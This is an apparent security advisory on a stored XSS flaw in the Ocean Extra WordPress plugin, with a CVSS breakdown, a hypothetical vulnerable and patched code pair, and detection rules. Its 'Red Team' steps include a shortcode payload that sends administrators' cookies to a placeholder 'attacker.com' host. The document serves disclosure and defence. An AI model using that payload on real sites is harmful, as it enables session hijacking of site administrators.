CVE-2025-49068

Executive Summary

CVE-2025-49068 is a Stored Cross-Site Scripting (XSS) vulnerability in the Ocean Extra plugin for the OceanWP WordPress theme. The vulnerability exists in versions up to and including 2.4.8. An authenticated attacker with contributor-level privileges or higher can inject malicious JavaScript payloads into web pages generated by the plugin. When an administrator or other user views the affected page, the payload executes in their browser session, potentially leading to session hijacking, credential theft, or defacement. The CVSS score is 6.5 (Medium), and no public exploit code or patch is currently available.

Supply Chain & Package Security

This vulnerability affects a WordPress plugin distributed via the official WordPress plugin repository. Since Ocean Extra is a commercial plugin bundled with the OceanWP theme, users must rely on the vendor for updates. No known supply chain compromise has been reported, but the lack of a patch increases risk for all sites using the affected version.

CVSS Breakdown & Threat Level

• Attack Vector (AV): Network (N) – The vulnerability is exploitable remotely.
• Attack Complexity (AC): Low (L) – No special conditions are required.
• Privileges Required (PR): Low (L) – An attacker needs contributor-level access or higher.
• User Interaction (UI): Required (R) – The victim must view the compromised page.
• Scope (S): Changed (C) – The impact extends beyond the vulnerable component.
• Confidentiality (C): Low (L) – Limited data exposure possible.
• Integrity (I): Low (L) – Limited ability to modify content.
• Availability (A): Low (L) – No direct denial-of-service impact.

Threat Level: Medium. The requirement for authenticated access reduces the attack surface, but the stored nature of the XSS makes it persistent and dangerous for site administrators.

Deep Dive & Mechanics

The Ocean Extra plugin provides extended functionality for the OceanWP theme, including custom widgets, post types, and shortcodes. The vulnerability stems from improper neutralization of user-supplied input during web page generation. Specifically, the plugin fails to sanitize or escape output when rendering certain user-controllable fields (e.g., widget titles, custom CSS, or shortcode parameters). An attacker with contributor-level access can inject a payload like:

<script>alert('XSS')</script>

When an administrator visits the page (e.g., the WordPress dashboard or a front-end page using the vulnerable shortcode), the script executes in the context of the admin’s session. This can be leveraged to create new admin accounts, exfiltrate cookies, or modify site content.

The vulnerability is classified under CWE-79 (Improper Neutralization of Input During Web Page Generation). The root cause is the use of echo or print functions without proper escaping (e.g., esc_html() or wp_kses_post()).

Vulnerable vs. Patched Code

Since no official patch is available, the following is a hypothetical fix based on common WordPress security practices.

Vulnerable Code (example from Ocean Extra <= 2.4.8):

function ocean_extra_render_widget($atts) {
    $title = $atts['title'];
    echo '<h2>' . $title . '</h2>';
}

Patched Code (hypothetical):

function ocean_extra_render_widget($atts) {
    $title = isset($atts['title']) ? esc_html($atts['title']) : '';
    echo '<h2>' . $title . '</h2>';
}

The patched version uses esc_html() to escape the output, preventing script injection.

Exploitation & Lab Setup

Red Team (Exploitation)

1. Prerequisites: A WordPress site with Ocean Extra <= 2.4.8 and a contributor-level account.
2. Steps:
   • Log in as a contributor.
   • Navigate to a page or post that uses a vulnerable shortcode (e.g., [ocean_extra_widget title="..."]).
   • Inject a payload in the title parameter:

     [ocean_extra_widget title="<script>fetch('https://attacker.com/steal?cookie='+document.cookie)</script>"]
     

   • Save the page.
   • When an administrator views the page, the script executes and sends the cookie to the attacker’s server.

Blue Team (Detection & Hardening)

1. Detection: Monitor for unusual shortcode parameters containing <script> tags or event handlers.
2. Hardening:
   • Disable the Ocean Extra plugin until a patch is released.
   • Use a Web Application Firewall (WAF) to block XSS payloads.
   • Implement Content Security Policy (CSP) headers to restrict script execution.
   • Regularly audit user roles and permissions.

Indicators of Compromise (IOCs)

• Network: Outbound HTTP requests to unknown domains containing document.cookie or localStorage.
• Host: Presence of unexpected <script> tags in WordPress post content or widget options.
• Logs: WordPress audit logs showing creation of new admin accounts or modification of plugin files.
• File: Modified wp-content/plugins/ocean-extra/ files with injected JavaScript.

Detection Engineering

YARA Rule

rule CVE_2025_49068_Ocean_Extra_XSS {
    meta:
        description = "Detects stored XSS payloads in Ocean Extra plugin"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2025-49068"
    strings:
        $payload1 = /<script[^>]*>.*?<\/script>/is
        $payload2 = /on\w+\s*=\s*['\"].*?['\"]/is
        $plugin_path = /wp-content\/plugins\/ocean-extra/
    condition:
        $plugin_path and ($payload1 or $payload2)
}

Sigma Rule

title: CVE-2025-49068 Ocean Extra Stored XSS
id: 12345678-1234-1234-1234-123456789abc
status: experimental
description: Detects stored XSS attempts via Ocean Extra plugin
author: Valters IT
logsource:
    category: webserver
    product: apache
detection:
    selection:
        http.url|contains: '/wp-content/plugins/ocean-extra/'
        http.body|contains: '<script>'
    condition: selection
falsepositives:
    - Legitimate use of JavaScript in posts
level: medium

Suricata Rule

alert http any any -> any any (msg:"CVE-2025-49068 Ocean Extra Stored XSS Attempt"; flow:to_server,established; content:"/wp-content/plugins/ocean-extra/"; http_uri; content:"<script>"; http_client_body; sid:1000001; rev:1;)

Remediation & Mitigation

1. Immediate: Disable the Ocean Extra plugin until a patch is available.
2. Short-term: Apply a virtual patch via WAF rules to block XSS payloads.
3. Long-term: Monitor the vendor’s website for updates and apply the official patch as soon as it is released.
4. Alternative: Consider replacing Ocean Extra with a different plugin that provides similar functionality.

Valters IT
DevSecOps & Cyber Threat Intelligence